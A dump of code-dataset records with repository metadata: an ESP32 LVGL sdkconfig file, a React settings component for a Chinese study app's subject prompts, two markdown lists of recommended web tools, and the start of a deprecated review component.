CONFIG_ESPTOOLPY_FLASHMODE_QIO=y
CONFIG_ESPTOOLPY_FLASHSIZE_16MB=y
CONFIG_PARTITION_TABLE_CUSTOM=y
CONFIG_COMPILER_OPTIMIZATION_PERF=y
CONFIG_SPIRAM=y
CONFIG_SPIRAM_SPEED_200M=y
CONFIG_SPIRAM_XIP_FROM_PSRAM=y
CONFIG_CACHE_L2_CACHE_256KB=y
CONFIG_CACHE_L2_CACHE_LINE_128B=y
CONFIG_ESP_MAIN_TASK_STACK_SIZE=10240
CONFIG_FREERTOS_HZ=1000
CONFIG_FREERTOS_VTASKLIST_INCLUDE_COREID=y
CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS=y
CONFIG_LV_USE_CLIB_MALLOC=y
CONFIG_LV_USE_CLIB_STRING=y
CONFIG_LV_USE_CLIB_SPRINTF=y
CONFIG_LV_DEF_REFR_PERIOD=15
CONFIG_LV_OS_FREERTOS=y
CONFIG_LV_DRAW_SW_DRAW_UNIT_CNT=2
CONFIG_LV_ATTRIBUTE_FAST_MEM_USE_IRAM=y
CONFIG_LV_FONT_MONTSERRAT_12=y
CONFIG_LV_FONT_MONTSERRAT_16=y
CONFIG_LV_FONT_MONTSERRAT_18=y
CONFIG_LV_FONT_MONTSERRAT_20=y
CONFIG_LV_FONT_MONTSERRAT_22=y
CONFIG_LV_FONT_MONTSERRAT_24=y
CONFIG_LV_FONT_MONTSERRAT_26=y
CONFIG_LV_USE_FONT_COMPRESSED=y
CONFIG_LV_TXT_BREAK_CHARS=" ,.;:-_"
CONFIG_LV_USE_SYSMON=y
CONFIG_LV_USE_PERF_MONITOR=y
CONFIG_LV_USE_IMGFONT=y
CONFIG_LV_USE_DEMO_WIDGETS=y
CONFIG_LV_USE_DEMO_BENCHMARK=y
CONFIG_LV_USE_DEMO_RENDER=y
CONFIG_LV_USE_DEMO_SCROLL=y
CONFIG_LV_USE_DEMO_STRESS=y
CONFIG_LV_USE_DEMO_TRANSFORM=y
CONFIG_LV_USE_DEMO_MUSIC=y
CONFIG_LV_DEMO_MUSIC_AUTO_PLAY=y
CONFIG_LV_USE_DEMO_FLEX_LAYOUT=y
CONFIG_LV_USE_DEMO_MULTILANG=y
CONFIG_IDF_EXPERIMENTAL_FEATURES=y
| 1,523
|
sdkconfig
|
defaults
|
en
|
unknown
|
unknown
|
{}
|
0
|
{}
|
000haoji/deep-student
|
src/components/SubjectConfig.tsx
|
import React, { useState, useEffect } from 'react';
import { TauriAPI } from '../utils/tauriApi';
import { useSubject } from '../contexts/SubjectContext';
import { Target, Plus, RefreshCcw, Edit, Trash2, CheckCircle, XCircle, Lightbulb, FileText, Tag, X } from 'lucide-react';
interface SubjectConfig {
id: string;
subject_name: string;
display_name: string;
description: string;
is_enabled: boolean;
prompts: SubjectPrompts;
mistake_types: string[];
default_tags: string[];
created_at: string;
updated_at: string;
}
interface SubjectPrompts {
analysis_prompt: string;
review_prompt: string;
chat_prompt: string;
ocr_prompt: string;
classification_prompt: string;
consolidated_review_prompt: string;
anki_generation_prompt: string;
}
interface SubjectConfigProps {}
export const SubjectConfig: React.FC<SubjectConfigProps> = () => {
const { refreshSubjects } = useSubject();
const [configs, setConfigs] = useState<SubjectConfig[]>([]);
const [selectedConfig, setSelectedConfig] = useState<SubjectConfig | null>(null);
const [isEditing, setIsEditing] = useState(false);
const [isCreating, setIsCreating] = useState(false);
const [loading, setLoading] = useState(false);
// LaTeX数学公式输出规范
const latexRules = `\n\n【LaTeX 数学公式输出规范】
1. 所有数学公式、符号、变量等都必须使用LaTeX格式包裹。
2. 行内公式使用 \`$...$\` 包裹，例如：\`$E=mc^2$\`。
3. 独立展示的公式或方程组使用 \`$$...$$\` 包裹。
4. 对于矩阵，请务必使用 \`bmatrix\` 环境，例如：\`$$\\begin{bmatrix} a & b \\\\ c & d \\end{bmatrix}$$\`。在 \`bmatrix\` 环境中，使用 \`&\` 分隔列元素，使用 \`\\\\\` (单个反斜杠，在JSON字符串中可能需要转义为 \`\\\\\\\\\`) 换行。
5. 确保所有LaTeX环境（如 \`bmatrix\`）和括号都正确配对和闭合。
6. 避免使用不常见或自定义的LaTeX宏包或命令，尽量使用标准KaTeX支持的命令。`;
// 新建/编辑表单状态
const [formData, setFormData] = useState<Partial<SubjectConfig>>({
subject_name: '',
display_name: '',
description: '',
is_enabled: true,
prompts: {
analysis_prompt: `请仔细分析这道{subject}错题，提供详细的解题思路和知识点讲解。${latexRules}`,
review_prompt: `请分析这些{subject}错题的共同问题和改进建议。${latexRules}`,
chat_prompt: `基于这道{subject}题目，请回答学生的问题。${latexRules}`,
ocr_prompt: '请识别这张{subject}题目图片中的文字内容。',
classification_prompt: '请分析这道{subject}题目的类型和相关知识点标签。',
consolidated_review_prompt: `请对这些{subject}错题进行统一分析，提供综合性的学习建议和知识点总结。${latexRules}`,
anki_generation_prompt: `请根据这道{subject}错题生成Anki卡片，包含问题、答案和关键知识点。${latexRules}`,
},
mistake_types: ['计算错误', '概念理解', '方法应用', '知识遗忘', '审题不清'],
default_tags: ['基础知识', '重点难点', '易错点'],
});
useEffect(() => {
loadConfigs();
}, []);
const loadConfigs = async () => {
setLoading(true);
try {
const allConfigs = await TauriAPI.getAllSubjectConfigs(false);
setConfigs(allConfigs);
// 同时刷新全局科目状态
await refreshSubjects();
} catch (error) {
console.error('加载科目配置失败:', error);
alert('加载科目配置失败: ' + error);
} finally {
setLoading(false);
}
};
const handleEdit = (config: SubjectConfig) => {
setSelectedConfig(config);
setFormData(config);
setIsEditing(true);
setIsCreating(false);
};
const handleCreate = () => {
setSelectedConfig(null);
setFormData({
subject_name: '',
display_name: '',
description: '',
is_enabled: true,
prompts: {
analysis_prompt: `请仔细分析这道{subject}错题，提供详细的解题思路和知识点讲解。${latexRules}`,
review_prompt: `请分析这些{subject}错题的共同问题和改进建议。${latexRules}`,
chat_prompt: `基于这道{subject}题目，请回答学生的问题。${latexRules}`,
ocr_prompt: '请识别这张{subject}题目图片中的文字内容。',
classification_prompt: '请分析这道{subject}题目的类型和相关知识点标签。',
consolidated_review_prompt: `请对这些{subject}错题进行统一分析，提供综合性的学习建议和知识点总结。${latexRules}`,
anki_generation_prompt: `请根据这道{subject}错题生成Anki卡片，包含问题、答案和关键知识点。${latexRules}`,
},
mistake_types: ['计算错误', '概念理解', '方法应用', '知识遗忘', '审题不清'],
default_tags: ['基础知识', '重点难点', '易错点'],
});
setIsCreating(true);
setIsEditing(false);
};
const handleSave = async () => {
if (!formData.subject_name || !formData.display_name) {
alert('请填写科目名称和显示名称');
return;
}
setLoading(true);
try {
if (isCreating) {
await TauriAPI.createSubjectConfig({
subject_name: formData.subject_name!,
display_name: formData.display_name!,
description: formData.description,
prompts: formData.prompts,
mistake_types: formData.mistake_types,
default_tags: formData.default_tags,
});
} else if (selectedConfig) {
await TauriAPI.updateSubjectConfig({
id: selectedConfig.id,
display_name: formData.display_name,
description: formData.description,
is_enabled: formData.is_enabled,
prompts: formData.prompts,
mistake_types: formData.mistake_types,
default_tags: formData.default_tags,
});
}
alert(isCreating ? '创建成功！' : '更新成功！');
setIsEditing(false);
setIsCreating(false);
setSelectedConfig(null);
await loadConfigs();
// 刷新全局科目状态，以更新标题栏的科目下拉栏
await refreshSubjects();
} catch (error) {
console.error('保存失败:', error);
alert('保存失败: ' + error);
} finally {
setLoading(false);
}
};
const handleDelete = async (config: SubjectConfig) => {
if (!confirm(`确定要删除科目配置 "${config.display_name}" 吗？`)) {
return;
}
setLoading(true);
try {
await TauriAPI.deleteSubjectConfig(config.id);
alert('删除成功！');
await loadConfigs();
// 刷新全局科目状态，以更新标题栏的科目下拉栏
await refreshSubjects();
} catch (error) {
console.error('删除失败:', error);
alert('删除失败: ' + error);
} finally {
setLoading(false);
}
};
const handleCancel = () => {
setIsEditing(false);
setIsCreating(false);
setSelectedConfig(null);
};
const updateFormField = (field: string, value: any) => {
setFormData(prev => ({
...prev,
[field]: value
}));
};
const updatePromptField = (field: string, value: string) => {
setFormData(prev => ({
...prev,
prompts: {
...prev.prompts!,
[field]: value
}
}));
};
const updateArrayField = (field: 'mistake_types' | 'default_tags', value: string) => {
const items = value.split(',').map(item => item.trim()).filter(item => item);
setFormData(prev => ({
...prev,
[field]: items
}));
};
return (
<>
<div className="subject-config">
<div className="settings-section">
<h3 style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Target size={20} />
科目配置管理
</h3>
<div className="toolbar">
<button onClick={handleCreate} className="create-button" style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Plus size={16} />
新建科目
</button>
<button onClick={loadConfigs} disabled={loading} className="refresh-button" style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<RefreshCcw size={16} />
刷新
</button>
</div>
{loading ? (
<div className="loading">加载中...</div>
) : (
<div className="config-list">
{configs.length === 0 ? (
<div className="empty-state">
<p>暂无科目配置</p>
<button onClick={handleCreate}>创建第一个科目配置</button>
</div>
) : (
configs.map(config => (
<div key={config.id} className={`config-item ${!config.is_enabled ? 'disabled' : ''}`}>
<div className="config-header">
<h4>{config.display_name}</h4>
<div className="config-actions">
<button onClick={() => handleEdit(config)} className="edit-button" style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Edit size={14} />
编辑
</button>
<button onClick={() => handleDelete(config)} className="delete-button" style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Trash2 size={14} />
删除
</button>
</div>
</div>
<div className="config-info">
<p><strong>科目名称:</strong> {config.subject_name}</p>
<p><strong>描述:</strong> {config.description}</p>
<p style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<strong>状态:</strong>
{config.is_enabled ? (
<span style={{ display: 'flex', alignItems: 'center', gap: '4px' }}>
<CheckCircle size={16} color="green" />
启用
</span>
) : (
<span style={{ display: 'flex', alignItems: 'center', gap: '4px' }}>
<XCircle size={16} color="red" />
禁用
</span>
)}
</p>
<p><strong>错题类型:</strong> {config.mistake_types.join(', ')}</p>
<p><strong>默认标签:</strong> {config.default_tags.join(', ')}</p>
<p><strong>更新时间:</strong> {new Date(config.updated_at).toLocaleString('zh-CN')}</p>
</div>
</div>
))
)}
</div>
)}
<div className="tips">
<h5 style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Lightbulb size={16} />
使用提示:
</h5>
<ul>
<li>科目名称创建后不可修改，请谨慎填写</li>
<li>提示词中可使用 {'{subject}'} 作为科目名称占位符</li>
<li>禁用的科目在前端选择器中不会显示</li>
<li>修改提示词会影响后续的AI分析结果</li>
</ul>
</div>
</div>
</div>
{(isEditing || isCreating) && (
<div className="modal-overlay">
<div className="modal-dialog">
<div className="modal-header">
<h3 style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Target size={20} />
{isCreating ? '新建科目配置' : '编辑科目配置'}
</h3>
<button onClick={handleCancel} className="close-button">
<X size={16} />
</button>
</div>
<div className="modal-content">
<div className="form-section">
<div className="form-group">
<label>科目名称:</label>
<input
type="text"
value={formData.subject_name || ''}
onChange={(e) => updateFormField('subject_name', e.target.value)}
disabled={!isCreating}
placeholder="如：数学、物理"
/>
{!isCreating && <small>科目名称创建后不可修改</small>}
</div>
<div className="form-group">
<label>显示名称:</label>
<input
type="text"
value={formData.display_name || ''}
onChange={(e) => updateFormField('display_name', e.target.value)}
placeholder="如：高中数学、初中物理"
/>
</div>
<div className="form-group">
<label>描述:</label>
<textarea
value={formData.description || ''}
onChange={(e) => updateFormField('description', e.target.value)}
placeholder="科目的详细描述"
rows={2}
/>
</div>
<div className="form-group checkbox-group">
<div className="checkbox-container">
<span>启用此科目</span>
<input
type="checkbox"
checked={formData.is_enabled}
onChange={(e) => updateFormField('is_enabled', e.target.checked)}
/>
</div>
</div>
</div>
<div className="form-section">
<h4 style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<FileText size={16} />
提示词配置
</h4>
<small>使用 {'{subject}'} 作为科目名称的占位符</small>
<div className="form-group">
<label>错题分析提示词:</label>
<textarea
value={formData.prompts?.analysis_prompt || ''}
onChange={(e) => updatePromptField('analysis_prompt', e.target.value)}
rows={3}
placeholder="用于分析错题的提示词"
/>
</div>
<div className="form-group">
<label>回顾分析提示词:</label>
<textarea
value={formData.prompts?.review_prompt || ''}
onChange={(e) => updatePromptField('review_prompt', e.target.value)}
rows={3}
placeholder="用于回顾分析的提示词"
/>
</div>
<div className="form-group">
<label>对话追问提示词:</label>
<textarea
value={formData.prompts?.chat_prompt || ''}
onChange={(e) => updatePromptField('chat_prompt', e.target.value)}
rows={3}
placeholder="用于对话追问的提示词"
/>
</div>
<div className="form-group">
<label>OCR识别提示词:</label>
<textarea
value={formData.prompts?.ocr_prompt || ''}
onChange={(e) => updatePromptField('ocr_prompt', e.target.value)}
rows={2}
placeholder="用于OCR图片识别的提示词"
/>
</div>
<div className="form-group">
<label>分类标记提示词:</label>
<textarea
value={formData.prompts?.classification_prompt || ''}
onChange={(e) => updatePromptField('classification_prompt', e.target.value)}
rows={2}
placeholder="用于分类和标记的提示词"
/>
</div>
<div className="form-group">
<label>统一回顾分析提示词:</label>
<textarea
value={formData.prompts?.consolidated_review_prompt || ''}
onChange={(e) => updatePromptField('consolidated_review_prompt', e.target.value)}
rows={3}
placeholder="用于统一回顾分析的提示词"
/>
</div>
<div className="form-group">
<label>Anki卡片生成提示词:</label>
<textarea
value={formData.prompts?.anki_generation_prompt || ''}
onChange={(e) => updatePromptField('anki_generation_prompt', e.target.value)}
rows={3}
placeholder="用于生成Anki卡片的提示词"
/>
</div>
</div>
<div className="form-section">
<h4 style={{ display: 'flex', alignItems: 'center', gap: '8px' }}>
<Tag size={16} />
默认配置
</h4>
<div className="form-group">
<label>错题类型 (逗号分隔):</label>
<input
type="text"
value={formData.mistake_types?.join(', ') || ''}
onChange={(e) => updateArrayField('mistake_types', e.target.value)}
placeholder="计算错误, 概念理解, 方法应用"
/>
</div>
<div className="form-group">
<label>默认标签 (逗号分隔):</label>
<input
type="text"
value={formData.default_tags?.join(', ') || ''}
onChange={(e) => updateArrayField('default_tags', e.target.value)}
placeholder="基础知识, 重点难点, 易错点"
/>
</div>
</div>
</div>
<div className="modal-footer">
<button onClick={handleCancel} className="cancel-button">取消</button>
<button onClick={handleSave} disabled={loading} className="save-button">
{loading ? '保存中...' : '保存'}
</button>
</div>
</div>
</div>
)}
</>
);
};
| 16,878
|
SubjectConfig
|
tsx
|
en
|
tsx
|
code
|
{"qsc_code_num_words": 1346, "qsc_code_num_chars": 16878.0, "qsc_code_mean_word_length": 6.08989599, "qsc_code_frac_words_unique": 0.23476969, "qsc_code_frac_chars_top_2grams": 0.04684641, "qsc_code_frac_chars_top_3grams": 0.03110894, "qsc_code_frac_chars_top_4grams": 0.03330487, "qsc_code_frac_chars_dupe_5grams": 0.40075637, "qsc_code_frac_chars_dupe_6grams": 0.33365866, "qsc_code_frac_chars_dupe_7grams": 0.27546663, "qsc_code_frac_chars_dupe_8grams": 0.23691594, "qsc_code_frac_chars_dupe_9grams": 0.18079785, "qsc_code_frac_chars_dupe_10grams": 0.18079785, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00613041, "qsc_code_frac_chars_whitespace": 0.36212821, "qsc_code_size_file_byte": 16878.0, "qsc_code_num_lines": 474.0, "qsc_code_num_chars_line_max": 176.0, "qsc_code_num_chars_line_mean": 35.60759494, "qsc_code_frac_chars_alphabet": 0.755248, "qsc_code_frac_chars_comments": 0.00527314, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.47785548, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.08165575, "qsc_code_frac_chars_long_word_length": 0.01328172, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0}
|
1
|
{"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0}
|
0000cd/wolf-set
|
content/achrive/2024-12.md
|
---
author: 逊狼
title: 2024-12
date: 2024-12-26
draft: false
---
```yaml
- title: Button Stealer
hex: "#ff5100"
tags:
- 网页
- 有趣
- 开源
date: "2024/12"
description: 从路过的每个网页“窃取”按钮，欣赏你的按钮藏品。
links:
- name: 官网
url: https://anatolyzenkov.com/stolen-buttons/button-stealer
- name: GitHub
url: https://github.com/anatolyzenkov/button-stealer
- name: 藏品？
url: https://anatolyzenkov.com/stolen-buttons
- title: cobalt
hex: "#000000"
tags:
- 网页
- 工具
- 开源
date: "2024/12"
description: 一键下载网页上的媒体文件。
links:
- name: 官网
url: https://cobalt.tools/
- name: GitHub
url: https://github.com/imputnet/cobalt
- name: 赞助
url: https://liberapay.com/imput
- title: GOODY-2
hex: "#EBF38D"
tags:
- 网页
- AI
- 有趣
date: "2024/12"
description: 与世界上“最负责”的 AI 聊天。
links: https://www.goody2.ai/chat
- title: SONOTELLER.AI
hex: "#fcac45"
tags:
- 网页
- 声音
- AI
date: "2024/12"
description: 听懂歌的 AI，分析曲风情绪歌词等音乐的一切。
links: https://sonoteller.ai/
- title: Wappalyzer
hex: "#4608AD"
tags:
- 网页
- 开发
date: "2024/12"
description: 识别任意网页的技术栈。
links: https://www.wappalyzer.com/
- title: Neal.fun
hex: "#ffc7c7"
tags:
- 网页
- 有趣
date: "2024/12"
description: 希望你有美好的一天… 游戏互动可视化等其他奇怪的东西。
links:
- name: 官网
url: https://neal.fun/
- name: 设置密码？
url: https://neal.fun/password-game/
- name: 赞助
url: https://buymeacoffee.com/neal
- title: Wild West
hex: "#BBF7D0"
tags:
- 网页
- 有趣
- AI
date: "2024/12"
description: 由 AI 驱动的游戏，剪刀石头布。
links:
- name: 官网
url: https://www.wildwest.gg/
- name: 击败石头？
url: https://www.whatbeatsrock.com/
- title: UniGetUI
hex: "#707070"
tags:
- 桌面
- 开源
- 开发
date: "2024/12"
description: 图形化 Windows 全能包管理器。
links:
- name: 官网
url: https://www.marticliment.com/unigetui/
- name: GitHub
url: https://github.com/marticliment/UniGetUI
- name: 赞助
url: https://ko-fi.com/s/290486d079
- title: PowerToys
hex: "#666666"
tags:
- 桌面
- 开源
- 工具
date: "2024/12"
description: 一组实用工具，可帮助高级用户调整和简化其 Windows 体验，从而提高工作效率。
links:
- name: 官网
url: https://learn.microsoft.com/zh-cn/windows/powertoys/
- name: GitHub
url: https://github.com/microsoft/PowerToys
- name: 微软商店
url: https://apps.microsoft.com/detail/xp89dcgq3k6vld?hl=zh-cn&gl=CN
- title: LocalSend
hex: "#008080"
tags:
- 桌面
- 移动
- 开源
date: "2024/12"
description: 全平台 WIFI 分享文件。
links:
- name: 官网
url: https://localsend.org/zh-CN
- name: GitHub
url: https://github.com/localsend/localsend
- name: 赞助
url: https://github.com/sponsors/Tienisto
```
| 2,646
|
2024-12
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.05278174, "qsc_doc_num_sentences": 47.0, "qsc_doc_num_words": 354, "qsc_doc_num_chars": 2646.0, "qsc_doc_num_lines": 147.0, "qsc_doc_mean_word_length": 4.67514124, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.33615819, "qsc_doc_entropy_unigram": 4.16315262, "qsc_doc_frac_words_all_caps": 0.021398, "qsc_doc_frac_lines_dupe_lines": 0.52205882, "qsc_doc_frac_chars_dupe_lines": 0.23931624, "qsc_doc_frac_chars_top_2grams": 0.09667674, "qsc_doc_frac_chars_top_3grams": 0.06646526, "qsc_doc_frac_chars_top_4grams": 0.12688822, "qsc_doc_frac_chars_dupe_5grams": 0.3305136, "qsc_doc_frac_chars_dupe_6grams": 0.15287009, "qsc_doc_frac_chars_dupe_7grams": 0.0, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 13.62430939, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.7378876, "qsc_doc_frac_chars_digital": 0.0625, "qsc_doc_frac_chars_whitespace": 0.21995465, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
0000cd/wolf-set
|
content/achrive/legacy.md
|
---
author: 逊狼
title: Legacy
date: 2024-04-04
draft: false
---
```yaml
- title: Unsplash
hex: "#000000"
tags:
- 推荐
- 网页
- 图片
date: "2024/04"
description: 全球摄影师 300万 高清免费图片。
links:
- name: 官网
url: https://unsplash.com
- name: 背景
url: https://unsplash.com/backgrounds
- name: 壁纸
url: https://unsplash.com/wallpapers
- title: The Useless Web
hex: "#ff1493"
tags:
- 推荐
- 网页
- 有趣
date: "2024/04"
description: 随机打开网上有趣而无用的网站。
links: https://theuselessweb.com
- title: i Hate Regex
hex: "#e53e3e"
tags:
- 网页
- 开源
- 开发
date: "2024/04"
description: 帮助讨厌复杂正则表达式的人理解和使用它们，现在你有两个问题了。
links:
- name: 官网
url: https://ihateregex.io/
- name: GitHub
url: https://github.com/geongeorge/i-hate-regex
- name: 赞助
url: https://opencollective.com/ihateregex
- title: Msgif
hex: "#7880dd"
tags:
- 网页
- 动图
- 有趣
date: "2024/04"
description: 打字过程转换成动图，见字如面。
links: https://msgif.net/
- title: Marked.cc
hex: "#fecf28"
tags:
- 网页
- 图片
- 有趣
date: "2024/04"
description: 简单的制作一张便签图片。
links:
- name: 官网
url: https://marked.cc/
- name: GitHub
url: https://github.com/msjaber/marked.cc
- title: Exploding Topics
hex: "#2e5ce5"
tags:
- 网页
- 搜索
- 想法
date: "2024/04"
description: 寻找快速增长与有潜力的科技话题。
links: https://explodingtopics.com/
- title: 100font.com
hex: "#f7c601"
tags:
- 推荐
- 网页
- 字体
date: "2024/04"
description: 一个专门收集整理“免费商用字体”的网站，有大量中文字体。
links: https://www.100font.com
- title: Recompressor
hex: "#3755dc"
tags:
- 推荐
- 网页
- 工具
- 图片
date: "2024/04"
description: 智能压缩技术，优化图片质量与尺寸，多种图像工具。
links:
- name: 压缩
url: https://zh.recompressor.com/
- name: 修复
url: https://zh.pixfix.com/
- name: 检查
url: https://zh.pixspy.com/
- title: No More Ransom
hex: "#102a87"
tags:
- 网页
- 安全
date: "2024/04"
description: 提供数十种免费的解密工具，从勒索病毒中恢复数据。
links:
- name: 官网
url: https://www.nomoreransom.org/zh/index.html
- name: 知识
url: https://www.nomoreransom.org/zh/ransomware-qa.html
- name: 建议
url: https://www.nomoreransom.org/zh/prevention-advice-for-users.html
- title: IconKitchen
hex: "#6a3de8"
tags:
- 网页
- 图标
- 开发
date: "2024/04"
description: 轻松生成标准的全平台应用图标。
links: https://icon.kitchen
- title: Game-icons.net
hex: "#000000"
tags:
- 网页
- 图标
date: "2024/04"
description: 4千 CC 授权免费矢量游戏图标。
links: https://game-icons.net/
```
| 2,449
|
legacy
|
md
|
en
|
markdown
|
text
|
{"qsc_doc_frac_chars_curly_bracket": 0.0, "qsc_doc_frac_words_redpajama_stop": 0.04702194, "qsc_doc_num_sentences": 46.0, "qsc_doc_num_words": 320, "qsc_doc_num_chars": 2449.0, "qsc_doc_num_lines": 145.0, "qsc_doc_mean_word_length": 4.746875, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.371875, "qsc_doc_entropy_unigram": 4.18842779, "qsc_doc_frac_words_all_caps": 0.0015674, "qsc_doc_frac_lines_dupe_lines": 0.46268657, "qsc_doc_frac_chars_dupe_lines": 0.22091887, "qsc_doc_frac_chars_top_2grams": 0.07373272, "qsc_doc_frac_chars_top_3grams": 0.07899934, "qsc_doc_frac_chars_top_4grams": 0.15207373, "qsc_doc_frac_chars_dupe_5grams": 0.24160632, "qsc_doc_frac_chars_dupe_6grams": 0.09084924, "qsc_doc_frac_chars_dupe_7grams": 0.0, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 0.0, "qsc_doc_num_chars_sentence_length_mean": 12.61111111, "qsc_doc_frac_chars_hyperlink_html_tag": 0.0, "qsc_doc_frac_chars_alphabet": 0.73364979, "qsc_doc_frac_chars_digital": 0.06751055, "qsc_doc_frac_chars_whitespace": 0.22580645, "qsc_doc_frac_chars_hex_words": 0.0}
|
1
|
{"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0}
|
000haoji/deep-student
|
src/components/ReviewAnalysis.tsx
|
/**
* DEPRECATED COMPONENT - 已废弃的组件
*
* 废弃日期: 2024年6月5日
* 废弃原因: 单次回顾功能已被统一回顾模块替代，为简化用户体验而停用
* 替代方案: 请使用 ReviewAnalysisDashboard 和相关的统一回顾功能
*
* 注意: 此组件已从主界面隐藏，但保留代码以供将来可能的恢复需要
* 如需重新启用，请修改 App.tsx 中的相关注释
*/
import { useState, useEffect } from 'react';
import { TauriAPI, MistakeItem } from '../utils/tauriApi';
import { StreamingMarkdownRenderer } from '../chat-core';
interface ReviewSession {
id: string;
subject: string;
selectedMistakes: MistakeItem[];
analysis: string;
created_at: string;
chatHistory: ChatMessage[];
}
interface ChatMessage {
role: string;
content: string;
timestamp: string;
thinking_content?: string;
}
interface ReviewAnalysisProps {
onBack: () => void;
}
/**
* @deprecated 此组件已废弃 - 请使用统一回顾功能替代
*/
export const ReviewAnalysis: React.FC<ReviewAnalysisProps> = ({ onBack }) => {
const [selectedSubject, setSelectedSubject] = useState('');
const [selectedMistakes, setSelectedMistakes] = useState<MistakeItem[]>([]);
const [currentReview, setCurrentReview] = useState<ReviewSession | null>(null);
const [isAnalyzing, setIsAnalyzing] = useState(false);
const [chatHistory, setChatHistory] = useState<ChatMessage[]>([]);
const [currentMessage, setCurrentMessage] = useState('');
